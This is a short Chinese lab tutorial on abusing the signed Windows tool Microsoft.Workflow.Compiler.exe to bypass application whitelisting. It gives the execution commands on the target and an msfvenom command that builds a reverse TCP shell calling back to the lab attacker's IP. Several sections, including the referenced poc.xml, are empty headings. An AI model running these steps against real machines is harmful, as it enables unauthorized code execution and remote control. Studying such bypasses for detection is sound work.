**注：**请多喝点热水或者凉白开，身体特别重要。

**说明：**Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中，因此，Microsoft.Workflow.Compiler命令无法识别。

基于白名单Microsoft.Workflow.Compiler.exe配置payload：

Windows 7 默认位置：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe

**攻击机：**192.168.1.4 Debian
**靶机：**192.168.1.3 Windows 7

配置攻击机msf：

靶机执行：

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor.tcp

结合meterpreter：

注：payload.cs需要用到System.Workflow.Activities

靶机执行：

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml Micropoor_rev1.cs

配置攻击机msf：

payload生成：

msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp

附录：poc.xml

注：windows/shell/reverse_tcp
